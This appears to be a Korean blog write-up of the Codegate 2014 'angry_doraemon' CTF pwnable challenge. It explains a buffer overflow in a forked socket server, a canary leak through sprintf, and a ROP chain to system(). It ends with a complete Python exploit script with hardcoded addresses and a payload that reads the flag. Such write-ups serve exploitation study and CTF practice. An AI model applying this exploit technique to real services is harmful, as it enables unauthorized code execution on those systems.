사용한 기법 : memory leak + ROP
angry_doraemon_c927b1681064f78612ce78f6b93c14d9
문제 자체는 처음 시스템 공부하기 시작할떄쯤 나 가르쳐줫던 애가 당시 대회떄 문제를 풀어서 얼핏 봣던 문제다.
CTF 공부겸 ,, rop 이해햇는데 memory leak 기법이 이해가 안됫는데 이 문제 덕분에 memory leak이라는게 어느정도 와닿게 되었다.
□ description
==========================================
OS : Ubuntu 13.10 x86
IP : 58.229.183.18 / TCP 8888
http://58.229.183.26/files/angry_doraemon_c927b1681064f78612ce78f6b93c14d9
==========================================
□ number of solvers : 57
□ breakthrough by
1 : More Smoked Leet Chicken (02/23 06:16)
2 : ppp (02/23 06:22)
3 : stratumauhuur (02/23 06:28)
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH angry_doraemon_c927b1681064f78612ce78f6b93c14d9
root@symnoisy:~/pwn# file angry_doraemon_c927b1681064f78612ce78f6b93c14d9
angry_doraemon_c927b1681064f78612ce78f6b93c14d9: setuid setgid sticky ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xf16e3852cdf494e0376d99e56343aa55830a9d95, stripped
NX와 Canary가 걸려있는 것을 알 수 있다.. 다행이 PIE 는 걸려 있지 않다
(아직 PIE 우회하는법 연구하고있는데 ... 힘들다)
[leak canary]
read 부분에서 buf가 4byte 인데, 110 byte를 입력받음 으로써 오버플로우가 발생하는 것을 알 수 있다.
하지만, 해당 파일에 카나리(SSP)가 걸려있어서 카나리 부터 알아내야 하는데,
소켓 프로그램이고, 항상 fork()로 실행하기 때문에, canary 값이 고정이다.
또한, buf 부분과 , canary 부분 사이의 거리가 A (decimal : 10 byte, disatance : int buf ~ int v8) 이므로
buf [10byte] | canary | 8byte | SFP | RET
이런식으로 진행이된다. 카나리의 정보는
v1 = sprintf(s, "You choose '%s'!\n", &buf);
아래의 함수를 통해 memory leak을 일으켜 값을 불러올 수 있다.
프로그램을 잘못받아서 실행이 안되나 햇는데.. 알고보니까 프로그램안에서 사용하는 txt 파일들을 따로 만들어 줘야한다 .. 아놔 ;; ;이거몰라서 오늘 하루종일 삽질햇다
[code]
[result]
메모리릭 때문에 풀엇던 문제인데 우선 목표는 달성했다.
(카나리값이 계속해서 바뀌는데 왠지모르겟당)
[프로세스위의 write주소 leak + system 주소 구하기 ]
[source]
[result]
root@symnoisy:~/pwn# ldd angry_doraemon_c927b1681064f78612ce78f6b93c14d9
linux-gate.so.1 => (0xb7758000)
libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xb75d6000)
/lib/ld-linux.so.2 (0xb775a000)
[exploit]
[code] // 코드가 길어서 하나에 안들어가서 걍 코드로 첨부함
from socket import *
from struct import *
import time
s=socket(AF_INET,SOCK_STREAM)
s.connect(('localhost',8888))
read_plt =0x8048620 #read@plt
write_plt=0x80486e0 #write@plt
write_got=0x804b030 #write@got
pppr=0x8048ea6 #objdump -d angrydoraemon
bss=0x804b080 #objudmp -h angrydoraemon
system_addr=0xb7680730
canary = 0xdbf62b00
cmd ="cat flag>&4\x00"
payload =""
payload +="y"*10
payload +=pack("<L",canary)
payload +="a"*8
payload += pack("<L",read_plt)
payload += pack("<L",4)
payload += pack("<L",bss)
payload += pack("<L",len(cmd))
payload += pack("<L",system_addr)
payload += pack("<L",0xdeadbeef)
payload += pack("<L",bss)
print "[+]Hacked by symnoisy!"
s.send(payload)
s.send(cmd)
print s.recv(1024)
'과거의 컴퓨터 공부 > CodeGate2014' 카테고리의 다른 글
(codegate 2014) 4stone(pwnable,300pt) (0) | 2015.05.01 |
---|---|
(Codegate2014)Clone Technique(250p,reversing) (0) | 2015.03.30 |
(Codegate2014)dodoCrackme(200pt,Reversing) (0) | 2015.03.28 |